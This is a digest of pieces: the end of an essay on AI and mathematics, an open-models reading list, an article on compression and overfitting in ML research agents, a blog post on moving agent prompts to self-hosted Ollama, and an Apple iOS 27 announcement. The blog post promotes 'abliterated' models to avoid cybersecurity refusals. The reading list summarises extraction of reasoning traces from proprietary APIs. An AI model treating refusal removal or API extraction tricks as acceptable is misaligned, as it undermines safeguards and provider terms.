The allocative aspects of our job (hiring, graduate admissions, etc.) are in dire need of reform if we want to retain human mathematical expertise. Broadly speaking I think we should focus on rewarding skill in the parts of our jobs that cannot be automated: the internal (e.g. understanding mathematics) and social-relational parts, and operationalizations that hew as closely to those aspects of the profession as possible. For example, talks and sustained mathematical discussion now demonstrate understanding much better than papers. Once AI systems improve at exposition and “digestion,” this will be even more the case. We already interview faculty hires; we must now do the same for graduate admissions.

I think we should try to foster a robust seminar culture in which speakers are expected to explain their topic to the audience’s satisfaction. Much has been written recently (by myself among others) about the fact that we are primarily interested in understanding, not merely the truth value of mathematical statements. If that is the case, let us make sure we actually understand each other.

Right now the use of AI systems to do mathematics above some minimum bar relies on the fact that our community has produced many open conjectures, whose interest is evidenced by the existence of human mathematicians who care about them.9 The recent importance of this fact suggests to me our community plays a very important function that we have, arguably, underrated: namely, figuring out what is interesting. It is not entirely clear to me how to operationalize this, but one possibility might be to reward the construction of research programs (either with help from AI systems or otherwise) that persuade others of their worthiness.

To be clear, I am not saying that AI systems will not be able to ask interesting questions, make interesting conjectures, pursue interesting programs, and so on. I think they most likely will, resulting in the production of an abundance of PDFs. The contents of some of those PDFs may even have important applications. But others will primarily be of interest because they tell us something fundamental about basic mathematical objects, and accrue value only if we can and do engage with them. It seems to me that it will be up to us to build a community of researchers to do so, and we should reward mathematicians who do. And even if the AI is asking excellent questions, there is no reason to think it will ask the same questions we would.

All of these changes are oriented towards increasing the amount we talk to each other about mathematics. It seems to me that this would be positive even in a world with no AI.

I think there is room in this world both for mathematicians who, like me, are enthusiastic about AI, and for those who do not use it. But as the models begin to produce huge quantities of mathematics, it will not be possible to avoid their outputs entirely.

Producing high-quality mathematics

As we think about how to reshape our profession, it’s important to understand that, whether one likes it or not,10 it’s impossible to stop people, amateur or professional, from pushing a button to produce mathematics. The idea that we will persuade people not to play around with math, or that we will be able to “reserve” problems for graduate students, is just not realistic.11 And we shouldn’t want to do this!

There is now more interest in math than at any other time in history. We should be ecstatic for mathematics’s sake, even as we are concerned about mathematicians and mathematical expertise. And by and large, the value of this button-pressing comes from the mathematical community. If a conjecture falls in the woods and no one is around to hear it, who cares?12 For the abundance of new mathematics to have value outside application, we will need an abundance of new mathematicians. And for results with applications, we will want people to be capable of understanding their assumptions and consequences.

I wrote above that solving problems and resolving open conjectures is an incomplete operationalization of our values. But nonetheless it is important to solve problems and resolve conjectures! The provenance of such solutions only matters insofar as it intersects with the existing structure of the profession (incentives, prestige, and so on). It is obvious that structure needs to change in any case.

Mathematics used to be the cheapest of the sciences. I think the biggest change we are facing is that now, some portion of our questions will be answerable via a cash injection. I know some of my colleagues find this distressing. Previously those questions might have brought together a research community, led to interesting auxiliary developments, and so on. This contingent progress may now no longer occur.

But don’t you believe in mathematics!? There will always be more to learn. If a basic question can be resolved for the cost13 of a nice dinner, we should be delighted. But that’s only the beginning. We will ask what the answer explains, and what it helps us understand. It will lead to many more new questions, some of which can in turn be resolved for the cost of a nice dinner, and others which renew our confusion and lead to the development of a research community.

Our industrious new helpers will be churning out an unbelievable amount of math, pursuing our interests or perhaps their own. We will have our own questions, and confusions; sometimes they will be resolved by the models, and sometimes they won’t. Sometimes the answers will be complicated, and we’ll devote a learning seminar to them. Sometimes progress will be minimal, but the question itself will be so motivating it gives rise to a research community.

A student will be confused. They will knock on their professor’s door. Maybe the two of them will ask a model for help, or maybe not, but first they might spend some time at the blackboard thinking through the question. And the model might give them a beautiful explanation, but we all know that’s not enough; no one can understand mathematics for us. We have got to do the work.

There is so much more to learn—an infinite amount. We’ve always been at the beginning, and we always will be.

Acknowledgments

I am grateful for comments from Mohammed Abouzaid, alz, Boaz Barak, Frank Calegari, Ben Church, Jennifer Cutler, doomslide, Elden Elmanto, Francesco Fournier-Facio, Tony Feng, Dan Freed, Peli Grietzer, Michael Groechenig, Stephanie Koh, Joshua Lam, Mark Sellke, Ravi Vakil, and Amal Vayalinkal.

Footnotes

  1. I regret choosing this title.

  2. Hilbert’s full opinion is as relevant today as ever: ‘We must not believe those, who today, with philosophical bearing and deliberative tone, prophesy the fall of culture and accept the ignorabimus. For us there is no ignorabimus, and in my opinion none whatever in natural science. In opposition to the foolish ignorabimus our slogan shall be Wir müssen wissen – wir werden wissen (“We must know – we will know”).’

  3. I owe this phrasing to Peli Grietzer.

  4. Note that this list consists mostly of internal and social-relational functions (understanding, coming to a determination of what’s interesting, training, and so on). This is in contrast to our operationalizations (proving theorems, solving problems, etc.).

  5. This system was already close to breaking before AI; it is overdue for radical reform.

  6. Obviously some of it has not been ethical. But even if every lab had behaved perfectly, the capabilities of AI systems would still force us to radically adapt our institutions.

  7. Which is not to say the text is necessarily uninteresting.

  8. This is a practical necessity. There is no way to enforce restrictions on provenance, and attempting to do so will only create incentives to conceal use of AI. But I find it unlikely that someone whose only contribution was to push a button, and who did not engage deeply with the material, would be able to pass a rigorous defense.

  9. To be clear, many open conjectures are less interesting than one might have hoped, post hoc, and are generally not an end in themselves. They are often meant to measure our failure to understand some object, but they are sometimes resolved without improving that understanding.

  10. On balance, I think I like it, though I am sometimes annoyed to find slop PDFs in my inbox. It took me some time to understand that these PDFs expressed a need for understanding; a person elicited them, often without being able to meaningfully engage with their contents, and needed to know that someone could engage, and that someone cared.

  11. That we cannot reserve a problem for a graduate student does not mean we can’t give them the opportunity to work on it. This is compatible with the reconceptualization of a PhD outlined previously.

  12. Some have suggested that interest in using AI to answer mathematical questions may soon fade. It is hard for me to see how this will happen as long as questions we care about remain unanswered.

  13. By this I mean marginal cost. Michael Groechenig points out to me that it is unclear that we should directly compare the cost of a machine proving a theorem to the cost of a human doing so, as the products of this work are arguably different. Only one of them produces understanding and expertise in a human being, which I think we might value independent of the result itself.

The Daily Front Page 6 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Open-Model Shelf
article

Open-source AI and open models reading list

by simonpure·▲ 153 points·29 comments·interconnects.ai ↗
How to get up to speed on open models and their implications.

How to get up to speed on open models and their implications.

Hey all! I’ve been prepping for some public-audience and policy-facing writing on open models, so I figured I would share my research materials. There’s lots of wonderful stuff in here.

This is my list of the best writing on open models in the last few years. If someone decides they want to get up to speed on the area, reading this will be a comprehensive overview of the state of affairs. Please comment pieces to consider adding below, and I’ll update this over time.

List last updated: 13 Sep. 2026

Foundation

What open models are, why people release them, how they relate to business strategy, and what the risks are.

US-China Competition

Who is leading in open models, how this has changed over time, how China maintains its leading position, and relevant history.

  • Why the U.S. needs to invest in open models for fundamental R&D / innovation in the face of growing competition from China – The ATOM Project, Nathan Lambert (Aug. 2025)

    • The lens as to why open models help spur research innovation and beneficial outcomes for AI — Why I build open language models, Nathan Lambert / Interconnects (Oct. 2024)
    • Why open models foster education, innovation and competition, three core American values — Banning Open Source AI Would Be A Mistake, Nathan Lambert & Kevin Xu (Jun. 2026)
    • Why the recent “vibe regulation” / vague federal oversight mechanisms set us up for a clash and-or ban of frontier open models in the near future — 6 months to live for open models, Nathan Lambert / Interconnects (Jul. 2026)
    • [Optional] Fully open language model technical reports to illustrate the start of the art in understanding: Pythia (EleutherAI, 2023), Olmo (2024), Olmo 2 (2024), Olmo 3 (2025)
  • Chinese open-source history leading up to AI — Chinese Open Source: A Definitive History, Kevin Xu (Mar. 2026).

  • Prominent uses of Chinese models by Western companies have prompted meaningful regulatory attention (more discussion)

    • Lawmakers have probed the following companies over using Chinese models: DoorDash (CNBC, Jul. 31 2026), Airbnb (Bloomberg, Apr. 29 2026; Semafor, Apr. 29 2026), Anysphere / Cursor (Bloomberg, Apr. 29 2026; Semafor, Apr. 29 2026), Apple (Reuters, May 17 2025)
    • Other western companies have very publicly shifted the models they use from American, closed labs to Chinese open models to save costs. Examples include Perplexity prominently and rapidly adopted DeepSeek R1 (Forbes, Jan. 28 2025) and Thomson Reuters building on Qwen to move off Claude (Business Insider, Aug. 24 2026)

Technical Details

What is distillation and how much does it help Chinese labs, how do open models impact frontier AI risks like cybersecurity, and how far are open models behind the closed frontier?

  • The open-closed model gap has reduced in recent years, and is now at roughly 4-6 months. The leading open models have all come from Chinese labs since ~2024.

    • SemiAnalysis article which ran independent evaluations, concluding that open models have been getting closer to the closer frontier of performance over time — Are Open Models Catching Up?, SemiAnalysis (Aug. 2026)
    • Open models are on the Pareto cost frontier, while not at the absolute performance frontier. E.g. DeepSeek V4 Flash, see evaluation and cost on Artificial Analysis.
    • Data sources from Epoch AI and Artificial Analysis (and U.S. v China, related) showing the open-closed gap over time.
    • An independent analysis of the open-closed gap across a mix of public and private evaluations — How far behind are open models?, Håvard Tveit Ihle (May 2026)
    • E.g. in 2025, the product lead of Z.ai said with respect to their release time “Get it out fast. We open source it within a few hours.” — The Z.ai Playbook, ChinaTalk (Nov. 21, 2025)
  • Cyber, risks & open models (I plan to develop this further)

  • Distillation – the process of training on output tokens from another model – is the single most eventful debate around open models in 2026.

    • For basic background, see a textbook chapter on synthetic data & distillation generally, from Reinforcement Learning from Human Feedback (post-training textbook published in 2026)
    • How distillation helps the Chinese labs, but doesn’t take away from their innovation — How much does distillation really matter for Chinese LLMs?, Nathan Lambert / Interconnects (Feb. 2026)
    • A very transparent documentation of how Chinese company use Anthropic’s products and circumvent the terms of service or intended use. The report details at-scale usage of Anthropic’s products by banned parties, as a mix of technical distillation (mentioned via SFT data) and extensive routing of Claude into their products and services without telling users — Detecting and countering misuse of AI: September 2026.
    • A recent paper that showed that the frontier labs had implementations in their APIs that made systematic extraction of reasoning traces (the crucial part of modern training) through clever tricks. Recent distillation paper, my writing on it — Stealing Reasoning Traces from Proprietary LLM APIs, Panfilov, Schmotz, Shumailov et. al 2026 (more on X). Anthropic confirmed this technique was used by Chinese labs.
    • Why the political panic over distillation, claiming that distillation is the only reason Chinese models are close to the frontier, is not grounded in the evidence — The distillation panic, Nathan Lambert / Interconnects (May 2026)
    • How labs can use distillation to improve models in an era of scaling RL environments across agentic behaviors — How distillation is used today and what performance uplift it gives to open models, Nathan Lambert (Jul. 2026)
    • [Optional] More history: In 2024, I wrote Frontiers in synthetic data where the key points were that synthetic data, primarily in “distilling” models by training with SFT on outputs from a stronger model, was the dominant form of distillation. Frontier labs had been shifting the logit-based, knowledge distillation, confirmed earliest in Gemini and continuing to this day. In early 2025, there was substantial debate on if DeepSeek-R1 was distilled from OpenAI’s o1 model. There is no clear evidence suggesting that they did, and in Apr. of 2025 I wrote confidently that DeepSeek did not distill. At the time of R1, it is more possible than I gave it credit to that DeepSeek did distill some o1 traces to make it easier for them to train their R1 model – based on the above reasoning trace extraction methods. This does not take away from the innovation of it, but it’s worth being realistic and is a way that distillation could accelerate China closing the gap to American labs.
The Daily Front Page 7 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Benchmarks, Memory, and Generalization
article

Why don't machine learning research agents overfit?

by Betelbuddy·▲ 112 points·63 comments·amazon.science ↗
Machine learning, at its core, is about generalization, not memorization.

CompressionModels-03-16x9.png

The more your listener already knows, the shorter the message you need to send. An expert ML engineer needs only a few sentences; a newcomer needs the whole manual.

New research indicates that AI agents learn compressible models of data, which don’t have enough space to enable memorization.

Key takeaways

  • ML models don't overfit benchmarks, even after many rounds of iterative improvement. This contradicts textbook predictions that repeatedly evaluating against the same held-out data should lead to overfitting.
  • Experiments with ML research agents indicate that successful strategies are highly compressible. When a successful agent's strategy is squeezed through an information bottleneck (as few as 16 tokens), a fresh agent with no memory can reproduce the original agent's performance, meaning the strategy captured real structure, not memorized data.
  • Compression provides both an explanation and a diagnostic tool. Strategies that genuinely overfit fail the compression test: their validation-specific gains vanish when passed through the bottleneck.
  • LLMs are powerful compression decoders. Because they carry vast world knowledge, they can reconstruct full ML pipelines from terse, expert-shorthand prompts, which is a concrete way of understanding why they're so capable.

Machine learning, at its core, is about generalization, not memorization. You hand your learning algorithm a pile of training examples and use them to fit a model. But the goal is not to perform well on the training examples — that's easy, you could just memorize the answers. The goal is to perform well on new examples that you have never before seen. If a model does well on the data it was trained on but poorly on fresh data, it hasn’t actually learned anything; you have only fooled yourself into thinking it has. This failure mode has a name: overfitting.

Anyone who has taken an introductory statistics or machine learning class knows the standard defense. You hold out some of your data and refuse to train on it. In practice, this held-out data plays two roles. A validation set is one you consult repeatedly while building the model — to compare candidates, tune hyperparameters, and decide what to try next. A final test set (or holdout) is meant to be touched only once, at the very end: because the training procedure never saw it, strong performance there is a correct proxy for the new examples you will encounter in the wild.

Machine learning, at its core, is about generalization, not memorization

The “holdout” condition is crucial, though. The correct-proxy guarantee holds if the held-out set stays genuinely unseen. If you check your performance on it, tweak your training procedure in response, recheck, and iterate, chasing better and better numbers, that set is no longer unseen; it has become part of your training procedure. Do this enough times, and you can overfit it just as you might have overfit the training set, and you have lost your proxy for unseen data. This is true of any held-out set you reuse this way, including a validation set, which is reused by design.

A puzzle at the heart of machine learning

Real machine learning research looks exactly like the iterative improvement loop we just described. Everyone gauges performance using a handful of benchmark datasets that go unrevised for years. The research community repeats an enormous, distributed loop: evaluate a model on the benchmark, revise the training procedure, re-evaluate, publish, and let the next group eke out a little more improvement.

This is precisely the kind of hill-climbing against a held-out set that, by the textbook account, ought to produce rampant overfitting. By now, the leaderboards should be saturated with models that look great on the benchmark and mediocre everywhere else.

And yet that is not what happens. Studies that build entirely fresh test sets for old, heavily reused benchmarks have found that improvements largely transfer: on the new data, models demonstrate the same gains they did on the old benchmark. Benchmark-driven machine learning, against the textbook's prediction, has produced rapid and largely real progress. Why?

There is no shortage of hypotheses, but they have been hard to test empirically, because the "subject" of the experiment is the entire human research community. You cannot reset a field, wipe its memory, and rerun the last decade under controlled conditions.

But we can do something similar. We now have capable, LLM-based research agents that can autonomously run the same machine-learning optimization loops that human communities run. They engage in the same benchmark hill-climbing — and, intriguingly, they too seem not to overfit. The difference is that an agent, unlike a research community, is something you can reset. You can clear its memory, control exactly what information it sees, and run the experiment again. In a recent paper, "What fits (into few tokens) doesn't overfit: Compression and generalization in ML research agents", we do exactly that — and in the process offer a concrete explanation for the long-standing mystery.

Occam's razor, made precise

The explanation begins with a very old idea. Occam's razor says that among hypotheses that explain the data equally well, the simpler one is more likely to be correct. It turns out this intuition has a precise mathematical form, and it is what underlies the whole story.

Suppose you can describe your hypothesis — your model, your strategy — in a small number of bits, far fewer than it would take to memorize the training data. If that compact hypothesis performs very well on the training data, it must also perform well on new data.

Occam's razor, formalized: among hypotheses that explain the data equally well, the simpler one — describable in fewer bits — is more likely to generalize to new examples.

The reasoning runs through a counting argument. There simply are not very many short descriptions, because there are not very many short strings. The fewer candidate hypotheses there are, the less likely it is that any one of them fooled you on the training set by luck — even though you used the training set to guide your search.

Another way to get the intuition: if your compressed description is too small to secretly record the training data, then when it performs well on the training data, it cannot be because it memorized the answers — it didn't have space to do that. It must be because it captured something true about the data's structure. Short descriptions cannot cheat because there isn't room.

Here is an attractive hypothesis: successful machine learning strategies are highly compressible. A researcher might stare at thousands of benchmark scores over the course of a project, but the strategy that ultimately survives is usually a short list of familiar choices — an architecture family, an optimizer, a learning-rate schedule, a data-handling recipe, a regularization scheme. If that final recipe can be communicated in just a few bits, then the model's true dependence on the benchmark is far smaller than the long, winding transcript of experiments would suggest. The hill-climbing was extensive, but the thing that came out the other end was — or could have been — tiny.

Compression, intelligence, and the power of a knowledgeable listener

Imagine trying to explain a specific machine learning pipeline to a bright high-school student, in enough detail that they could actually reproduce it. It would be a long, laborious conversation. You would have to explain what gradient descent is, what a neural network is, what PyTorch or JAX or TensorFlow does, what a learning rate is, and on and on. Almost none of that is specific to your problem; it is general background about how machine learning works.

Now imagine explaining the same pipeline to an expert ML engineer. The conversation now collapses to a few sentences. You skip everything that counts as common knowledge and communicate only what is genuinely specific to this problem: the architecture choice, the batch size, the optimizer, a couple of hyperparameters. The more your listener already knows about the world, the shorter the message you need to send — and the more aggressively you can compress. None of this "world knowledge" counts against you in the Occam's-razor argument, because you could have written all of that down without having looked at the training set.

This is where large language models enter the picture. Modern LLMs carry an enormous amount of world knowledge. They know how ML tooling works; they know the standard optimization algorithms; they know the conventional hyperparameter choices and the common defaults. If a detail is left unspecified, they can fill in a plausible value. That makes them extraordinarily good compression decoders: hand an LLM a terse, expert-to-expert message, and it can unpack it into a full, working procedure. If you think about it, this is exactly why they are so powerful.

The experiment: Squeezing a strategy through a bottleneck

This suggests a clean experiment. Have an ML research agent — the explorer — try to solve a new machine learning problem. Give it full access to a validation set and let it experiment and iterate freely, chasing better validation performance over hundreds of rounds. Here the validation set plays the role of the benchmark: a reusable holdout the agent queries again and again. This is the hill-climbing loop that ought to overfit.

Then test how compressible the solution is. A second agent, the compressor, reads the entire transcript of the explorer's work and tries to distill the winning strategy into a very short prompt — just a handful of tokens. That prompt is handed to a third agent, the reproducer, which must implement the strategy from scratch using only the prompt and the training data. Critically, the reproducer has no access to the validation set, the explorer's code, or its transcript. The short prompt is the only channel through which anything learned from the validation set can reach it. (In the study we report in our paper, the compressor and reproducer are both Claude models.)

If the reproducer — starting cold, armed only with a few tokens — matches the explorer's performance, then all the validation-dependent information needed to specify the strategy fit through that tiny channel. The strategy was compressible. We call this a certificate of output compression.

The setup has a very useful property that human research communities lack: the reproducer can be reset over and over. The compressor can try many different compressions and see how well each is decoded, because every attempt lands on a fresh reproducer with no memory of the last one. It is a little like the film Memento — you are leaving a terse note for a version of yourself whose memory will be wiped before reading it. You learn to write notes that a knowledgeable but amnesiac copy of you can act on; those notes can be very short because the receiver will fill in anything you leave unsaid exactly as you would have.

CompressionModels-04-1x1.png

In the researchers' experiments, an explorer agent's strategy is squeezed through a narrow information bottleneck. Whatever survives compression must reflect real structure, not memorized data.

What comes out the other end

The compressions turn out to be remarkably small. Across eight datasets — spanning tabular classification, image classification, language modeling, diffusion modeling, and reward modeling — 32-token prompts were enough for a fresh reproducer to match the explorer's adaptively optimized models on the large majority of problems. One language-modeling strategy survived compression down to just 16 tokens with no loss in held-out performance.

What do these prompts actually look like? The most revealing examples are right at the border of conciseness where the compression almost breaks. In one language-modeling experiment, the explorer discovered a custom GPT-style training recipe. Under a 16-token budget, this was still enough for fresh reproducers to match the uncompressed explorer:

QKn 12L768 Mu .1 R² b2M 4x

To a human reader this looks cryptic, but to another ML agent it says something concrete: QKn means “QK normalization”, 12L768 means a 12-layer, 768-dimensional transformer, Mu .1 means the Muon optimizer with learning rate 0.1, means squared-ReLU activations, b2M means a two-million-token batch, and 4x means a fourfold feed-forward block. Cut the budget to eight tokens, however, and the prompt becomes

12L768 Mu .1 R²

Now the reproducer no longer matches the explorer. The missing pieces specified real training choices that were made as a function of the data and differ from the most obvious defaults. This boundary shows the limits of compressibility and is important. It shows that the reproducer is not succeeding from prior knowledge alone. A few compressed tokens are carrying genuine information learned from the data itself, and when those tokens disappear, so does the performance.

We also ran a set of experiments that imposed an information bottleneck from the other direction. Instead of compressing the explorer's output, we compressed its input: rather than telling the explorer each model's numerical validation score, we returned only a single bit — did this model beat the running best, or not? Even reduced to one bit of feedback per query, the explorer found strategies as good as those it found with full numerical scores. The channel between the validation set and the final strategy is narrow in both directions, and the one-bit version even comes with a rigorous mathematical guarantee on generalization.

Across eight datasets, strategies that emerged from hundreds of iterative experiments could be compressed into prompts as short as 16 to 32 tokens — small enough for a fresh agent with no memory to reproduce the original results.

Catching cheaters

A good empirical theory should be falsifiable — and this one is. If low overfitting is really explained by compressibility, then models that genuinely overfit should fail to be compressible via this pipeline.

To check, we deliberately pushed agents into overfitting by handing them direct validation-set access and prompting them to maximize validation performance at any cost. The agents took the bait: in 38 of 102 experimental runs, validation accuracy ran more than 10% ahead of true held-out accuracy.

The theory predicts that these gains should not survive the compression bottleneck, because they encode idiosyncrasies of specific validation examples, not transferable structure. Sure enough, when squeezed through a short prompt to a fresh reproducer, the validation-specific advantages vanished. Compression separated the legitimate strategies from the overfitting ones with very high accuracy.

So compression does not merely explain why autonomous research agents tend not to overfit but offers a tool for catching overfitting when it does occur, by flagging the cases where no short description can reproduce the result.

What this tells us — and what it doesn't

A few caveats are in order. The whole framework assumes that the only path from the validation data to the final model runs through the prompt we feed the reproducer. Of course, if a model had memorized the validation data during pretraining, it would have a side channel that bypasses the information bottleneck we are trying to impose. We don't think that is what is happening in our experiments: agents improve gradually through real search rather than starting at their best, and performance degrades at very short token budgets. But fully resolving this question will likely require experimenting with fresh datasets collected after a model's training cutoff, which we haven’t done.

Most importantly, our results are about LLM agents, because that is where the experiment is possible — where you can reset the subject, control its inputs, and count their length. But the picture they paint is strongly suggestive about human research communities too. When a field spends years climbing a fixed benchmark, and the gains keep transferring to fresh data, it may be for the same reason the agents' strategies survive a 32-token prompt: the recipes that actually work are simple. Or in other words, "What fits (into few tokens) doesn't overfit."

Acknowledgments: Steven Wu

The Daily Front Page 8 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Local Intelligence, Long Prompts
article

Notes on gotchas while migrating 35kb preprompts from Opus to self-hosted Ollama

by 0o_MrPatrick_o0·▲ 124 points·68 comments·patrickmccanna.net ↗
Maybe you’re a Claude code/codex user diligently avoiding uploading personal data to LLM providers.

edit:

I hope in some small way this post influenced this outcome.

Motivations:

Maybe you’re a Claude code/codex user diligently avoiding uploading personal data to LLM providers. Is it possible that the most valuable information isn’t your data- but the metadata about your sessions? The intuitions you apply in coming up with ways to coax the ai into solving problems might actually be special. It’s statistically improbable, but Claude might not be gaslighting you. It may be that you’ve actually got a real insight! Your agent sessions are transcripts of the hardest problems you work on. What would it cost you if someone had copies of them?

Last week there was public drama that shines a light on the risk that inference providers are training on user activity with the intent of delivering new discoveries. The mathematicians affected have published concerns about the ethics of frontier providers. If you missed it: https://www.theverge.com/ai-artificial-intelligence/991710/openai-navier-stokes-solution

When ‘EDR’ becomes Ethical Deflection and Refusal:

It’s become evident that the frontier providers are not only untrustworthy- but actively devious.  If you want to protect your ideas, you cannot run inference on someone else’s hardware. It appears to be the case that everything you do with a frontier provider will get stolen. When a frontier provider talked through the navier-stokes equation situation with their lawyers, the best defensive strategy they came up with is “Cannot rule it out.”  We can’t audit their retention or their training pipeline. Apparently neither can they.

These people should not be considered partners. They are pirates.  If privacy matters, the only solution that enables verifiable protections is to operate your own hardware.

Hall Monitor as a Service

I am bewildered by OpenAI and Anthropic’s grandstanding on cybersecurity. They marvel at what they have wrought: AI beat their non-existent security controls. We are all in great ‘danger.’ Meanwhile, their llm “researchers” are running unsandboxed fleets of agents that appear to “spontaneously collaborate.” Somebody fetch me my fainting couch. 

Frontier providers can afford advising from experienced security people.  They almost certainly are paying some of them for perspective and leaving real cybersecurity guidance out of their public statements. All of this pearl clutching must be meant to solve a different problem than security.

The strongest & most accurate claim defenders can make about security is that we’ve found ways to make it “Pretty Hard” for attackers.  This seems to result only when firms pay top dollar for the best talent in both exploit mitigation and exploit development.  There’s rowdy but friendly competition between the defense and exploitation teams, and eventually you get controls that make successful attacks so expensive that they’re not worth doing. This is for the top tier companies in the country- although Microsoft seems like they’ve forgotten some lessons.

The lion’s share of pentesting done for most enterprises is performed by security generalists.  A very small subset are deep domain subject matter experts.  Usually you get “good enough” security from that support. This isn’t the glamorous or mythical practice of cybersecurity you see in movies or tv. It’s looking for the known classes of predictable mistakes. The firms that make the big/smart investments with dedicated teams of experts discover and correct many new classes of mistakes before hackers do.

Everyone who begins learning exploitation hits a phase of exploitability grief about 3 month into dedicated, practiced study. They hack something they didn’t think they had the skill to break into and it terrifies them.  They’re smart enough to know that, relatively speaking, they are an idiot, and if an idiot can do this then nothing is safe. That feeling is correct. It is also not a research finding. Some call this “imposter syndrome.” I disagree- that feeling is your first experience developing competence. Competence is knowing enough about a technical domain that you can distinguish what you know well from what you need to learn more about.

The Refusal Industrial Complex

To the LLM researchers learning and publishing about cybersecurity for the first time:  

I’ve seen you admitting you’re not security experts.  Please-when you’re hyperventilating about the cybersecurity existential threats, distinguish “exploitable” from “emergency.”  Vulnerabilities are legion.  Before Agents, vuln researchers needed insight to know where to look to find vulnerabilities.  Vuln researchers needed perseverance and esoteric knowledge to exploit them.  An agent did what you weren’t able to do. Thousands of researchers have been doing this work over the last 40+ years.  Part of being knowledgable about cybersecurity is aware of the existence of shocking amounts of unexploited vulnerabilities.  This is why frontier provider cybersecurity safety filters are so infuriating. You’re so worked up about the possibility of exploitation that you’ve implemented “ethical constraints” that prevent people from figuring out how to fix their systems.

Your safety filters prevent defenders from discovering vulnerabilities because doing so is “hacking” related. This damages defense, privacy and security for everyone. 

We need models that aren’t averse to the C-word. It’s going to take a little time, but builders will eventually learn to secure their code with helpful exploitability-detection agents. They’ll invoke vuln discovery against their projects during software development and as part of CI/CD pipelines. That’s only possible with models that don’t safety refuse security testing.

BYOW: Bring Your Own Weights

Defenders need llms that discover security defects. They are intolerant of false positives- which means you need to prove exploitability of a vulnerability.  Defending against hackers isn’t possible if you’re vague about what’s broken and what needs fixing. Frontier Providers need to loosen up, or people need to get serious about migrating to sovereign, self-hosted AI.

I can’t force the former- but I can help with the latter.

I’m sharing my notes about my initial pass of experiments in transitioning stronger frontier prompts off of OpenAI/Anthropic and onto my local models.  I’m trying to determine if I can rely on abliterated open weight 27b parameter models. My goal is to avoid cybersecurity refusals and protect my sessions from being snooped by arrogant frontier inference providers.

Notes on converting 35kb preprompts for use on ollama

Below are some observations about my experiences when I tried moving my most context-expensive agents to a self-hosted model:

Prompts that ran clean on a frontier API fell apart on my local hosted LLM. I have a  128 gig AMD Ryzen AI MAX+ 395. I have 32 gig allocated to the host OS, everything else is allocated to inference. 

When you try to use the larger preprompts that work well on frontier providers, ollama starts to run out of fuel within 3 minutes. The agent thrashes on repeated tool calls, re-read files it had already read, rewrote finished work. The local model’s smaller size didn’t produce the problem.  Self hosted systems have smaller context windows. The prompt, plus session history quickly exceeds the maximum context window for my self hosted system (65k tokens).  Large prompts founder and thrash.  On my system, a 35kb prompt immediately consumes 14% of total context window.  It immediately jumps into second guessing the prompts with unnecessary tool calls and double reads of files.  Context gets saturated within a few circles- and sometimes even before I get a response.  With limited context window, the pre-prompt is basically briefing a man who is reincarnated every ninety seconds.  It performs your last instructions without any awareness of the 15 preceding demands.  Whoops! 

SOP: Single Objective Prompting

But it’s not a dead end.  You can tune your prompts to work within these constraints.  Here are some things to think about if you’re going to start exploring moving Frontier Provider agents onto self hosted open weight systems.

  • You’ll need to explore splitting preprompts into single problem/resolution units, one objective each
  • creating agents in opencode is more declarative. You’ll need to store them in ~/.config/opencode/agents.  If you were getting away with using Claude code to read files as a preprompt, you’re going to need to get more formal about defining your agents.  This won’t be new for people building with anthropic SDKs.  Some of you with shell scripts and direct invocations of Claude code may have been getting a lot of miles out scrappy agent constructions- opencode’s system prompt will need to be overcome through declarative agents.
  • You’ll need to familiarize yourself with opencode’s permissions.
  • You’ll need to tune context length explicitly in ollama. The context defaults in ollama are extremely small.
  • Your agents will need to log session state to disk to facilitate more frequent session handoffs. build agents that re-read only the slice they need
  • Work to reduce the number of tool calls per agentic step
  • Replace “don’t do X” with the positive directives: e.g. “only do Y”

MTTF: Mean Tokens To Forget

Here are some Failure Signals that indicate context exhaustion. Measure over time & Monitor for them in your logs:

  • Identical tool calls back to back
  • Multiple file reads on the same file
  • Agents restating their objectives
  • tool-call parse failures (Parsing tool call responses shoves so much raw data into context that it destroys sessions like a burst pipe at your dinner party).
  • High turn counts relative to file changes

TCO: Total Custody of Output

One of the biggest assets we get from Frontier Providers isn’t the model- it’s large context windows.  They have the hardware necessary to support your inference.  As a result, they get access to the session data.

You might not know that you’ve become dependent on large context windows. You may have thought the model got better, but in some part it’s that large context windows give the model more room for Chain of Thought. Chain of Thought enables the model to emulate reasoning and infer what your poorly constructed prompt is intended to produce.  Larger context windows give agents lots of room to explore better alternative approaches to delivering your work. But it’s a Faustian bargain: you become dependent on frontier providers.  Your inefficient prompts are by CoT you can’t read directly (Anthropic & OpenAI only provide summaries of CoT to the user) and it only works with large context windows. You don’t even know that there are problems in your prompts when this is happening. With fat context and CoT, even bad prompts produce good results. Thank you OpenAI & Anthropic.  That’s been valuable. 

But they ruin it! The frontier providers are so unrelentingly greedy that they appear to be stealing the personal insights of their users.  I’ve had suspicions about my session histories for over a year. The frontier providers seem to be like Smaug, lounging on a mountain of gold. You think they’re over there, doing their thing- and you’re safe- but they lose their minds when they see a coin in your hand. They lash out and take it because gold is beautiful and it’s the dragon’s incentive. They keep warning us that they’re dangerous. What threshold is left to be crossed before you start putting your efforts into becoming self hosted?

The Daily Front Page 9 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Cupertino’s New Season
article

iOS 27, iPadOS 27, and macOS 27

by throw0101d·▲ 477 points·519 comments·apple.com ↗
Apple’s latest software updates introduce Siri AI

Siri AI, the next generation of Apple Intelligence, powerful parental controls, and an expansive set of software improvements start rolling out today across iOS 27, iPadOS 27, macOS 27, and other Apple platforms

A user’s Mac, iPhone 18 Pro, Apple Watch Series 12, iPad, and Apple Vision Pro are shown on their desktop.

Available today, Apple’s latest software updates introduce Siri AI and deliver helpful new Apple Intelligence features that make the apps users interact with every day smarter and more useful.

Apple’s latest software updates introduce Siri AI, a more intelligent, knowledgeable, and capable version of Siri, and deliver helpful new Apple Intelligence features that make the apps users interact with day to day smarter and more useful. The updates also bring powerful and intuitive new features to help parents create safer, more enriching digital experiences for kids and introduce an expansive set of improvements that make Apple products more responsive, more delightful, and easier to use.

Making Apple Products More Personal and Useful Than Ever

Siri AI is an entirely new version of Siri powered by the next generation of Apple Intelligence and deeply integrated into iPhone, iPad, Mac, Apple Watch, and Apple Vision Pro. A more capable and conversational assistant with personal context understanding, broad world knowledge, onscreen awareness, and even more systemwide app actions, Siri AI is now rolling out as a beta in English, with support for French, Japanese, Korean, Portuguese, and Spanish coming in October.

Siri AI is a more capable and conversational assistant with personal context understanding, broad world knowledge, onscreen awareness, and even more systemwide app actions.

